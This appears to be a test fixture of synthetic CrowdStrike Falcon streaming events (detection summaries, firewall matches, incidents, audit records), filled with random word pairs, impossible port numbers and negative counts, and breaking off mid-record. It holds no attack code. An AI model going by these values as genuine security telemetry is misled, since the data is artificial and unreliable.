+{"metadata": {"customerIDString": "glorioustelevision","offset": 1937096872,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "hercackle","CustomerId": "manybook","Ipv": "106.178.30.162","CommandLine": "over thereweight","ConnectionDirection": "0","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": true,"Log": true,"Monitor": false},"HostName": "itbrace","ICMPCode": "itarmy","ICMPType": "over theretown","ImageFileName": "Nepalesegrowth","LocalAddress": "157.226.200.52","LocalPort": "24178","MatchCount": -913847416,"MatchCountSinceLastReport": -1802071189,"NetworkProfile": "eachidea","PID": "-883383240","PolicyName": "doublecompany","PolicyID": "Bangladeshinumber","Protocol": "fulldisregard","RemoteAddress": "190.114.159.219","RemotePort": "85977","RuleAction": "theirgun","RuleDescription": "luxury market underwear leap union right canoe world party problem ream choir catalog effect bunch pack week stairs staff stand party importance Finnishbus","RuleFamilyID": "whichluck","RuleGroupName": "nobodyweek","RuleName": "somegroup","RuleId": "Britishmuster","Status": "fullviolence","Timestamp": 1751371830,"TreeID": "everybodymuster"}}
+{"metadata": {"customerIDString": "manyfleet","offset": 1169938770,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "obedientphotographer","DetectName": "wherebus","DetectDescription": "cane board wood scissors ball envy host party class group ball pride piano caravan happiness gossip part whatorange","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/alllibrary?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 18,"SeverityName": "Low","Tactic": "whatmotherhood","Technique": "Senegalesetrip","Objective": "theretea","SourceAccountDomain": "Iraqitolerance","SourceAccountName": "cleanroom","SourceAccountObjectSid": "couplecompany","SourceEndpointAccountObjectGuid": "wherescold","SourceEndpointAccountObjectSid": "tooconditioner","SourceEndpointHostName": "somefact","SourceEndpointIpAddress": "56.83.63.203","SourceEndpointSensorId": "Brazilianstring","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "thiscongregation","PatternId": -1256237764}}
+{"metadata": {"customerIDString": "hergang","offset": 512065216,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "theirhedge","UserID": "scenicsock","ExecutionID": "cleancompany","ReportID": "so fewreligion","ReportName": "whichquiver","ReportType": "tenseteam","ReportFileReference": "Iraqigeneration","Status": "cleverhand","StatusMessage": "coupleuncle","ExecutionMetadata": {"ExecutionStart": 1765346244,"ExecutionDuration": -654156777,"ReportFileName": "comfortablecovey","ResultCount": -1585726216,"ResultID": "ourcardigan","SearchWindowStart": -578749749,"SearchWindowEnd": -1949776905}}}
+{"metadata": {"customerIDString": "whichmessage","offset": -1708869937,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "Elizabethancomb","State": "closed","FineScore": 3.5560299510671025,"LateralMovement": 1,"IncidentType": 2,"IncidentID": "hereshop","HostID": "yourcackle","LMHostIDs": ["whyeducation"],"UserId": "Orwelliancase"}}
+{"metadata": {"customerIDString": "proudaid","offset": 593724173,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "severalpair","State": "open","FineScore": 4.274128535370408,"LateralMovement": 0,"IncidentType": 2,"IncidentID": "someonecurrency","HostID": "lightproduction","LMHostIDs": ["thiscovey"],"UserId": "Finnishcompany"}}
+{"metadata": {"customerIDString": "Taiwanesewealth","offset": -1952296304,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "onegovernment","HostnameField": "anyvision","UserName": "whynumber","StartTimestamp": 1582830734,"AgentIdString": "Middle Easternfrog"}}
+{"metadata": {"customerIDString": "nophilosophy","offset": -1950030235,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 933310372,"ProcessEndTime": -656887118,"ProcessId": -279016116,"ParentProcessId": -1541940696,"ComputerName": "condemnedsilence","UserName": "littleflour","DetectName": "plenty ofnutrition","DetectDescription": "newspaper country staff wrist sleep wheat tribe infancy nervousleisure","Severity": 0,"SeverityName": "Informational","FileName": "onemanagement","FilePath": "allcollection\\onemanagement","CommandLine": "C:\\Windows\\Alaskanvision","SHA256String": "Finnishpagoda","MD5String": "over theretime","SHA1String": "thereshock","MachineDomain": "friendlything","NetworkAccesses": [{"AccessType": 1118182597,"AccessTimestamp": 1751371565,"Protocol": "Englishstring","LocalAddress": "175.37.189.53","LocalPort": 53819,"RemoteAddress": "130.123.227.121","RemotePort": 35318,"ConnectionDirection": 2,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/severalwoman?_cid=xxxxxxx","SensorId": "Spanishgeneration","IOCType": "domain","IOCValue": "numerousworld","DetectId": "gracefulhouse","LocalIP": "27.155.64.24","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "herefriendship","Technique": "energetichatred","Objective": "herbunch","PatternDispositionDescription": "catalog city research singer tribe handsomeclass","PatternDispositionValue": 1006414644,"PatternDispositionFlags": {"Indicator": true,"Detect": true,"InddetMask": false,"SensorOnly": false,"Rooting": false,"KillProcess": true,"KillSubProcess": true,"QuarantineMachine": false,"QuarantineFile": true,"PolicyDisabled": false,"KillParent": false,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": false,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": false,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "itsroad","ParentCommandLine": "Thatcheritemurder","GrandparentImageFileName": "a littlescale","GrandparentCommandLine": "plenty oflabour","HostGroups": "heavyaunt","AssociatedFile": "over thererubbish","PatternId": -2005874962}}
+{"metadata": {"customerIDString": "wittysleep","offset": 1412438253,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "Gaussianman","State": "open","FineScore": 0.6186911314386832,"LateralMovement": 1,"IncidentType": 1,"IncidentID": "wholecaravan","HostID": "whichstand","LMHostIDs": ["howfriendship"],"UserId": "thesething"}}
+{"metadata": {"customerIDString": "curiosair","offset": -250405407,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "onecat","Highlights": ["somebodyfact"],"MatchedTimestamp": 1686889114000,"RuleId": "yourmother","RuleName": "hercurrency","RuleTopic": "thankfulmovement","RulePriority": "itsunshine","ItemId": "hisproblem","ItemType": "SCRAPPY","ItemPostedTimestamp": 1686889114000}}
+{"metadata": {"customerIDString": "hugecloud","offset": -1900702738,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "howbattery","MobileDetectionId": 343032952,"ComputerName": "whoseplace","UserName": "ourmovement","ContextTimeStamp": 1649061056,"DetectId": "wholefact","DetectName": "everyonethought","DetectDescription": "basket house sedge kindness dynasty goal heap forest earrings success week bevy hour team cloud butter harvest choir blender whichchoir","Tactic": "Parisiancup","TacticId": "heretime","Technique": "mybattery","TechniqueId": "kindawareness","Objective": "Greekcousin","Severity": 93,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/auspiciousspeed?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "whycongregation","AndroidAppLabel": "troublingquiver","DexFileHashes": "nonecar","ImageFileName": "wherepod","AppInstallerInformation": "ithair","IsBeingDebugged": true,"AndroidAppVersionName": "fewfreedom","IsContainerized": false}]}}
+{"metadata": {"customerIDString": "Victoriandeskpath","offset": -1376595275,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "Thaipeace","DetectName": "allcare","DetectDescription": "hercare","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/everybodyhead?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 9,"SeverityName": "Low","Tactic": "South Americanfashion","Technique": "Canadianstaff","Objective": "anythingeye","SourceAccountDomain": "outrageousmeal","SourceAccountName": "wherefreedom","SourceAccountObjectSid": "itsstack","SourceEndpointAccountObjectGuid": "Barcelonianparty","SourceEndpointAccountObjectSid": "allwoman","SourceEndpointHostName": "itscomb","SourceEndpointIpAddress": "69.74.170.53","SourceEndpointSensorId": "hischild","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "disturbedtruth","PatternId": 326683896}}
+{"metadata": {"customerIDString": "hundredcandy","offset": -1101002719,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 2080761357,"ProcessEndTime": 2043850267,"ProcessId": 1031101204,"ParentProcessId": -287603910,"ComputerName": "ourcare","UserName": "blackworld","DetectName": "howbundle","DetectDescription": "way peacock problem book company person innocence child year generation problem body crowd wolf belief park hail bravery bravery wisp thing severalhost","Severity": 0,"SeverityName": "Medium","FileName": "everygovernment","FilePath": "Guyanesehail\\everygovernment","CommandLine": "C:\\Windows\\theirregiment","SHA256String": "numerousunemployment","MD5String": "theirreel","SHA1String": "Congolesemotherhood","MachineDomain": "heavydata","NetworkAccesses": [{"AccessType": 1739056061,"AccessTimestamp": 1751371565,"Protocol": "Romaniancloud","LocalAddress": "156.91.133.60","LocalPort": 74704,"RemoteAddress": "245.107.190.208","RemotePort": 76848,"ConnectionDirection": 2,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/sparsething?_cid=xxxxxxx","SensorId": "poisedpod","IOCType": "filename","IOCValue": "everyoneboard","DetectId": "itbale","LocalIP": "146.228.219.35","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "someonepoint","Technique": "whatbag","Objective": "ourgovernment","PatternDispositionDescription": "building scissors grandmother keyboard fiction mustering scold cackle tissue crowd guilt trust dream heap plant snow host movement wad cluster friendship mostbook","PatternDispositionValue": 924678192,"PatternDispositionFlags": {"Indicator": false,"Detect": true,"InddetMask": false,"SensorOnly": false,"Rooting": true,"KillProcess": true,"KillSubProcess": true,"QuarantineMachine": true,"QuarantineFile": true,"PolicyDisabled": false,"KillParent": true,"OperationBlocked": true,"ProcessBlocked": true,"RegistryOperationBlocked": false,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": true,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": true,"SuspendParent": true},"ParentImageFileName": "severalthing","ParentCommandLine": "calmscold","GrandparentImageFileName": "joyouspart","GrandparentCommandLine": "whypatrol","HostGroups": "cheerfulmusic","AssociatedFile": "Machiavellianbunch","PatternId": 125137225}}
+{"metadata": {"customerIDString": "mychest","offset": 1153946996,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -1117047632,"ProcessEndTime": -2004420101,"ProcessId": 1532328976,"ParentProcessId": 1360968630,"ComputerName": "yourperson","UserName": "hugepod","DetectName": "longegg","DetectDescription": "mustering irritation brace batch smoke thing forest scold point wisp flower company child therestand","Severity": 2,"SeverityName": "Informational","FileName": "adorableschool","FilePath": "whatpage\\adorableschool","CommandLine": "C:\\Windows\\emptygame","SHA256String": "anythingalligator","MD5String": "greatline","SHA1String": "manyclub","MachineDomain": "yourmuster","NetworkAccesses": [{"AccessType": -1771015515,"AccessTimestamp": 1751371565,"Protocol": "Torontonianbunch","LocalAddress": "15.152.75.17","LocalPort": 87884,"RemoteAddress": "233.86.11.42","RemotePort": 9785,"ConnectionDirection": 2,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thankfularchitect?_cid=xxxxxxx","SensorId": "amusedline","IOCType": "behavior","IOCValue": "thatparty","DetectId": "hundredsflock","LocalIP": "120.106.149.190","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "everythingvillage","Technique": "alllondon","Objective": "Congoleseflock","PatternDispositionDescription": "posse chaise longue clarity happiness member garage width covey hail flock energy day class weather mercy hand herestack","PatternDispositionValue": 2009879131,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": true,"SensorOnly": true,"Rooting": false,"KillProcess": false,"KillSubProcess": false,"QuarantineMachine": false,"QuarantineFile": false,"PolicyDisabled": true,"KillParent": true,"OperationBlocked": true,"ProcessBlocked": true,"RegistryOperationBlocked": true,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": true,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "Finnishchest","ParentCommandLine": "theircompany","GrandparentImageFileName": "theirrubbish","GrandparentCommandLine": "Cambodiangrade","HostGroups": "itsgain","AssociatedFile": "mything","PatternId": 684192837}}
+{"metadata": {"customerIDString": "howtime","offset": -989900221,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "hishorde","Region": "us-east-1","ResourceId": "manypopcorn","ResourceIdType": "manysheaf","ResourceName": "nobodyarmy","ResourceCreateTime": 0,"PolicyStatement": "whereskyscraper","PolicyId": 1282256644,"Severity": 78,"SeverityName": "Medium","CloudPlatform": "queercackle","CloudService": "theseloss","Disposition": "Passed","ResourceUrl": "quaintfield","Finding": "ourbevy","Tags": [{"Key": "wanderingmovement","ValueString": "eitherxylophone"}],"ReportUrl": "a lotpatience","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "whosewaist","offset": -306081915,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "theirquality","IncidentDescription": "set class shopping divorce housework troop itsunglasses","Severity": 92,"SeverityName": "Informational","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "mytroupe","UserName": "thatlife","EndpointName": "anystand","EndpointIp": "228.59.116.79","Category": "Detections","NumbersOfAlerts": 1001476486,"NumberOfCompromisedEntities": -1478636482,"State": "IN_PROGRESS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/yourbody?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "neithersunshine","offset": -1019875160,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -1281081394,"ProcessEndTime": -1455065204,"ProcessId": -592541064,"ParentProcessId": 980825791,"ComputerName": "therejealousy","UserName": "Barbadianproblem","DetectName": "whycomfort","DetectDescription": "host school year stand number pack batch jumper account heavyhouse","Severity": 0,"SeverityName": "Low","FileName": "tastywalk","FilePath": "yourstupidity\\tastywalk","CommandLine": "C:\\Windows\\whosemob","SHA256String": "theirmuster","MD5String": "whytable","SHA1String": "Germandata","MachineDomain": "herechest","NetworkAccesses": [{"AccessType": 44794767,"AccessTimestamp": 1751371565,"Protocol": "Gaboneseperson","LocalAddress": "77.89.124.80","LocalPort": 24688,"RemoteAddress": "101.61.89.28","RemotePort": 9914,"ConnectionDirection": 0,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Cypriotarchipelago?_cid=xxxxxxx","SensorId": "Aristotelianreel","IOCType": "filename","IOCValue": "thoseboxers","DetectId": "herecrew","LocalIP": "30.9.43.137","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "thatcompany","Technique": "ourcaravan","Objective": "whichfilm","PatternDispositionDescription": "year troupe deceit oxygen speed bale stand group seed year chest dollar cast fire neck team leap bill mercy hundredssheaf","PatternDispositionValue": 956284619,"PatternDispositionFlags": {"Indicator": false,"Detect": true,"InddetMask": true,"SensorOnly": true,"Rooting": false,"KillProcess": false,"KillSubProcess": false,"QuarantineMachine": true,"QuarantineFile": true,"PolicyDisabled": false,"KillParent": false,"OperationBlocked": true,"ProcessBlocked": true,"RegistryOperationBlocked": true,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": true,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": true,"SuspendParent": false},"ParentImageFileName": "heresedge","ParentCommandLine": "whosetelevision","GrandparentImageFileName": "Peruvianwisp","GrandparentCommandLine": "zealousbale","HostGroups": "hismustering","AssociatedFile": "Newtonianreligion","PatternId": -700622379}}
+{"metadata": {"customerIDString": "theirbikini","offset": -1111500739,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "magnificentcongregation","PolicyId": -1465293206,"PolicyStatement": "charmingoutfit","CloudProvider": "over therehouse","CloudService": "sleepypool","Severity": 32,"SeverityName": "Critical","EventAction": "clevereye","EventSource": "whichboard","EventCreatedTimestamp": 1663011160,"UserId": "Torontonianadult","UserName": "delightfulfire","UserSourceIp": "102.41.173.166","Tactic": "whosegoodness","Technique": "therestairs"}}
+{"metadata": {"customerIDString": "anyonebusiness","offset": 2043833068,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "confusingpart","CustomerId": "whybunch","Ipv": "10.131.98.140","CommandLine": "whosebird","ConnectionDirection": "0","EventType": "FirewallRuleApplicationFailed","Flags": {"Audit": true,"Log": true,"Monitor": true},"HostName": "anyliterature","ICMPCode": "a lotpack","ICMPType": "yourdelay","ImageFileName": "somehand","LocalAddress": "42.108.60.165","LocalPort": "40762","MatchCount": -1267405658,"MatchCountSinceLastReport": -477792013,"NetworkProfile": "fullstaff","PID": "-574200502","PolicyName": "Bangladeshieye","PolicyID": "theirloss","Protocol": "somebodyposse","RemoteAddress": "11.94.83.114","RemotePort": "13053","RuleAction": "someplace","RuleDescription": "hand murder care brilliance table project battery whosedolphin","RuleFamilyID": "Caesarianpatrol","RuleGroupName": "Philippinewad","RuleName": "myposse","RuleId": "everythingcluster","Status": "sufficientsparrow","Timestamp": 1751371830,"TreeID": "therewall"}}
+{"metadata": {"customerIDString": "Mexicancollection","offset": 1365601881,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "ourtribe","HostnameField": "quainttroop","UserName": "someonetomato","StartTimestamp": 1582830734,"AgentIdString": "theirbunch"}}
+{"metadata": {"customerIDString": "hungryhonesty","offset": 1446823700,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "yourcatalog","HostnameField": "everybodystack","UserName": "sufficientcaravan","StartTimestamp": 1582830734,"AgentIdString": "whyarchipelago"}}
+{"metadata": {"customerIDString": "Lincolniancrew","offset": 1522679423,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "splendidcard","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\manyback","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "IoT","Description": "park calm generosity bale case cackle brace covey battery dress animal cleverness traffic brace data Welshhail","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/ourmob?_cid=xxxxxxx","FileName": "hishand","FilePath": "Laotianbody\\hishand","FilesAccessed": [{"FileName": "hishand","FilePath": "Laotianbody\\hishand","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "hishand","FilePath": "Laotianbody\\hishand","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\Muscovitebunch","GrandParentImageFileName": "drabsalt","GrandParentImageFilePath": "Indonesianzebra\\drabsalt","HostGroups": "whereevidence","Hostname": "whybill","LocalIP": "79.170.98.85","LocalIPv6": "99.43.179.77","LogonDomain": "whypatrol","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "clearsmoke","Name": "whatquality","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -1874254846,"ConnectionDirection": 2,"IsIPV6": true,"LocalAddress": "92.103.224.168","LocalPort": 12811,"Protocol": "thissheep","RemoteAddress": "23.193.198.213","RemotePort": 73819}],"Objective": "whyinfancy","ParentCommandLine": "C:\\Windows\\ourarmy\\whattalent","ParentImageFileName": "whattalent","ParentImageFilePath": "nonearmy\\whattalent","ParentProcessId": 227474881,"PatternDispositionDescription": "week crowd whyfrailty","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": false,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": true,"Detect": true,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"InddetMask": true,"Indicator": true,"KillActionFailed": true,"KillParent": false,"KillProcess": false,"KillSubProcess": true,"OperationBlocked": false,"PolicyDisabled": false,"ProcessBlocked": true,"QuarantineFile": false,"QuarantineMachine": false,"RegistryOperationBlocked": true,"Rooting": true,"SensorOnly": false,"SuspendParent": true,"SuspendProcess": false},"PatternDispositionValue": 528851604,"PatternId": -1541050124,"PlatformId": "fancywound","PlatformName": "Windows","ProcessEndTime": 1580462124,"ProcessId": 1515113029,"ProcessStartTime": -970298463,"ReferrerUrl": "eitherunemployment","SHA1String": "someonebowl","SHA256String": "onedream","Severity": 22,"SeverityName": "Low","SourceProducts": "Parisianleap","SourceVendors": "thisgroup","Tactic": "everyoneadult","Technique": "whereblock","Type": "ldt","UserName": "foolishway"}}
+{"metadata": {"customerIDString": "over theredream","offset": -963974833,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "itholiday","MobileDetectionId": 1124985272,"ComputerName": "allhorde","UserName": "everybodyarmy","ContextTimeStamp": 1649061056,"DetectId": "howstupidity","DetectName": "herwork","DetectDescription": "jealousy life band board crew cluster man way child stream eye murder quiver staff handsometoothbrush","Tactic": "somebodyforest","TacticId": "herpart","Technique": "anycast","TechniqueId": "noneparty","Objective": "successfulmuster","Severity": 30,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/eitherfact?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "South Americangroup","AndroidAppLabel": "whyaccount","DexFileHashes": "over theregame","ImageFileName": "numerousdetective","AppInstallerInformation": "thesemustering","IsBeingDebugged": false,"AndroidAppVersionName": "Lebanesechair","IsContainerized": false}]}}
+{"metadata": {"customerIDString": "Greekdelay","offset": 19958052,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "thesemember","UserIp": "141.134.209.232","OperationName": "revokeCustomerSubscriptions","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "somebodynutrition","ValueString": "anyedge"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "herehorror"}}}
+{"metadata": {"customerIDString": "openmurder","offset": 541820293,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "modernloneliness","UserID": "Confuciancompany","ExecutionID": "lovelyluck","ReportID": "Lincolnianman","ReportName": "numerouschaise longue","ReportType": "Asianman","ReportFileReference": "gracefultroop","Status": "eachsmile","StatusMessage": "whichcaravan","ExecutionMetadata": {"ExecutionStart": 770732332,"ExecutionDuration": -2113676235,"ReportFileName": "toocup","ResultCount": 1175453278,"ResultID": "severalblock","SearchWindowStart": -1431559035,"SearchWindowEnd": -1692649681}}}
+{"metadata": {"customerIDString": "hisgalaxy","offset": 1842444737,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "Americanbevy","DataDomains": "Cloud","Description": "laptop corner anyonefinger","DetectId": "someoneyouth","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "209.135.214.51","HostNames": "pinkbevy","Name": "mygossip","PatternId": -1427946641,"Severity": 6,"SourceProducts": "halfslippers","SourceVendors": "manyprofessor","StartTimeEpoch": 1643317697728000000,"TacticIds": "Turkmenshower","Tactics": "herebrace","TechniqueIds": "somecovey","Techniques": "ourslavery","XdrType": "xdr" } }}
+{"metadata": {"customerIDString": "thiscookware","offset": -1239893469,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "littlepatrol","DataDomains": "Cloud","Description": "packet comb company hand awareness exaltation bevy hamburger brace Barbadiancovey","DetectId": "over theregovernor","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "96.24.217.177","HostNames": "itsteam","Name": "everybodygiraffe","PatternId": -493591939,"Severity": 8,"SourceProducts": "fullline","SourceVendors": "anythingspot","StartTimeEpoch": 1643317697728000000,"TacticIds": "somejumper","Tactics": "herschool","TechniqueIds": "insufficienthouse","Techniques": "anyteacher","XdrType": "xdr" } }}
+{"metadata": {"customerIDString": "orangeclump","offset": 1119707825,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "substantialluck","MobileDetectionId": -1157741109,"ComputerName": "Polynesiantie","UserName": "myhousework","ContextTimeStamp": 1649061056,"DetectId": "everyharm","DetectName": "fewset","DetectDescription": "flower turkey solitude packet case stand everybodywork","Tactic": "famouswad","TacticId": "greatdynasty","Technique": "mymarriage","TechniqueId": "strangepoint","Objective": "sufficientfriendship","Severity": 47,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/hergrowth?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "Burmesenoodles","AndroidAppLabel": "Barbadiandog","DexFileHashes": "theirankle","ImageFileName": "hisband","AppInstallerInformation": "neitherkindness","IsBeingDebugged": false,"AndroidAppVersionName": "whatscold","IsContainerized": false}]}}
+{"metadata": {"customerIDString": "wherecrew","offset": 944470610,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "ourgovernment","UserIp": "168.140.161.33","OperationName": "requestResetPassword","ServiceName": "detections","AuditKeyValues": [{"Key": "herclarity","ValueString": "theircalm"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "thatdynasty"}}}
+{"metadata": {"customerIDString": "yellowschool","offset": -1903727715,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "hishail","DetectName": "everythingfactory","DetectDescription": "number entertainment comfort pain congregation usage thateye","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whichhair?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 83,"SeverityName": "High","Tactic": "hundredfurniture","Technique": "over therechild","Objective": "mychildhood","SourceAccountDomain": "anydesk","SourceAccountName": "severalweek","SourceAccountObjectSid": "histribe","SourceEndpointAccountObjectGuid": "wheremurder","SourceEndpointAccountObjectSid": "thattunnel","SourceEndpointHostName": "somebodystreet","SourceEndpointIpAddress": "104.175.52.126","SourceEndpointSensorId": "hisperson","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "mostlife","PatternId": 360112821}}
+{"metadata": {"customerIDString": "toughwork","offset": -287070609,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "herepatrol","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\nonechild","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Cloud","Description": "group cackle nest lamp chapter host mother orchard thatloss","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/helpfulfreedom?_cid=xxxxxxx","FileName": "somecoldness","FilePath": "whosepod\\somecoldness","FilesAccessed": [{"FileName": "somecoldness","FilePath": "whosepod\\somecoldness","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "somecoldness","FilePath": "whosepod\\somecoldness","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\thereclass","GrandParentImageFileName": "tensesnow","GrandParentImageFilePath": "Victorianbowl\\tensesnow","HostGroups": "helplessstaff","Hostname": "terribleartist","LocalIP": "230.168.4.90","LocalIPv6": "63.83.107.98","LogonDomain": "somesaxophone","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "Greekcackle","Name": "variedcity","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -300806198,"ConnectionDirection": 0,"IsIPV6": true,"LocalAddress": "12.235.39.157","LocalPort": 70559,"Protocol": "over therebus","RemoteAddress": "28.169.57.253","RemotePort": 83}],"Objective": "agreeablehail","ParentCommandLine": "C:\\Windows\\itsbag\\homelesshill","ParentImageFileName": "homelesshill","ParentImageFilePath": "plenty ofbrace\\homelesshill","ParentProcessId": -1064992908,"PatternDispositionDescription": "tennis dollar pollution man set friend line vision thisline","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": false,"ContainmentFileSystem": false,"CriticalProcessDisabled": true,"Detect": false,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"InddetMask": true,"Indicator": true,"KillActionFailed": true,"KillParent": true,"KillProcess": true,"KillSubProcess": false,"OperationBlocked": false,"PolicyDisabled": 